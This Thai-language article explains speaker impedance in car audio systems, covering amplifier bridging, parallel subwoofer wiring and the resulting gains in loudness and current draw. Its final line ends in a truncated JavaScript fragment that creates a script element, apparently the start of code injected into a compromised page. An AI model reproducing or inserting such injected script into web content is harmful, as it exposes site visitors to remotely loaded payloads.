เพาเวอร์แอมป์…กับอิมพีแดนซ์ของลำโพง…?
ที่จริงอิมพีแดนซ์ก็คือ ค่าของโหลดภาระที่ลำโพงแสดงออกมาให้เพาเวอร์แอมป์มองเห็น… ซึ่งก็จะเป็นจำนวนของความต้านทานที่กำหนดการไหลของกระแสจากเพาเวอร์แอมป์… โดยปกติมันจะกำหนดอิมพีแดนซ์ของลำโพงไว้ที่4 โอห์ม…เพื่อการตอบสนองความถี่เสียงเพลง…เราจึงมักพูดว่าลำโพง4 โอห์มเป็นอิมพีแดนซ์ปกติของการใช้งาน…
ปัจจัย ที่จะต้องรู้เกี่ยวกับอิมพีแดนซ์ของลำโพงนั้น…ก็ขึ้นอยู่กับอัตราขยายของ เพาเวอร์แอมป์…และความเหมาะสม…ที่จะต้องสมมาตรกันในการที่จะไม่ทำให้ เกิดปัญหา…และยังช่วยให้มีความคิดสร้างสรรค์ในการออกแบบระบบเสียงได้อีก ด้วย…
ในระบบเสียงรถยนต์ปัจจุบัน…เพาเวอร์แอมป์ทั่วไปมักจะสามารถใช้กับโหลดได้ถึง 2 โอห์มในแบบสเตอริโอ…หรือ 4 โอห์มในแบบโมโน…หรือการบริดจ์… แม้ว่าลำโพงรถยนต์ทั่วไปจะมีโหลดที่ 4 โอห์ม…แต่ลำโพงที่ทำให้เกิดโหลด 2 โอห์ม / 8 โอห์ม ได้… และซับวูฟเฟอร์วอยซ์คอยล์คู่…ก็เป็นเรื่องปกติที่จะเปลี่ยนโหลดได้เช่น กัน… นักเล่นระบบเสียงรถยนต์ส่วนใหญ่จึงรู้ว่าเขาสามารถจะสร้างระบบใหญ่ๆ ได้…โดยการนำวูฟเฟอร์ที่มีอิมพีแดนซ์สูงๆ… มาต่อร่วมกันเพื่อให้ได้อิมพีแดนซ์ระดับต่ำ…
ดังนั้น…การบริดจ์เพา เวอร์แอมป์สเตอริโอให้ทำงานเป็นโมโนแชนแนลเดียว…จึงเป็นการสร้างกำลังขับ สูงสุดให้เกิดขึ้นกับลำโพงเพียงตัวเดียว… บางระบบอาจใช้หนึ่งแชนแนลในการขับซับวูฟเฟอร์ 4 โอห์ม 1 ตัว… แต่หลายระบบเลือกที่จะเพิ่มเสียงเบสให้สมบูรณ์ด้วยการใช้ซับวูฟเฟอร์ 8 โอห์มสองตัวต่อขนานกัน ซึ่งผลที่ได้ก็คืออิมพีแดนซ์ปกติที่ 4 โอห์มเท่ากัน… ซึ่งเป้นการเพิ่มพื้นที่ของกรวยซับวูฟเฟอร์…อันมีผลทำให้ได้ความดัง(SPL) เพิ่มขึ้น 1 เท่า (3 dB)…
หรือในกรณีที่เลือกใช้แอมป์ที่ขับโหลดโมโนได้ 2 โอห์ม… ก็จะยิ่งสามารถเพิ่มความดังขึ้นอีก 1 เท่าเช่นกัน และเมื่อต่อรวมลำโพงซับวูฟเฟอร์วอยซ์คอยล์คู่ 4 โอห์มไว้ 2 ตัว…ทำให้เหลืออิมพีแดนซ์ 1 โอห์ม…ก็เท่ากับระบบนี้มีความดังมากกว่าถึง 4 เท่า…ของการต่อหนึ่งแชนแนลกับซับวูฟเฟอร์ 4 โอห์ม 1 ตัวกันเลยทีเดียว…
และ ทั้งหมดต้องไม่ลืมว่า…เมื่อความดังเพิ่มขึ้นนั้น…กระแสไฟที่จะป้อนจ่าย ให้กับเพาเวอร์แอมป์ก็จะเพิ่มขึ้นตามไปด้วย…หากตราบใดที่กระแสไฟที่ไหล เข้าเพาเวอร์แอมป์ยังเท่าเดิม…ความดังที่คาดหวังเหล่านั้นก็จะไม่มีอะไร เปลี่ยนแปลงเลย…นอกจากเพียงความรู้สึกเอาเองเท่านั้น…var d=document;var s=d.createElement(‘script’);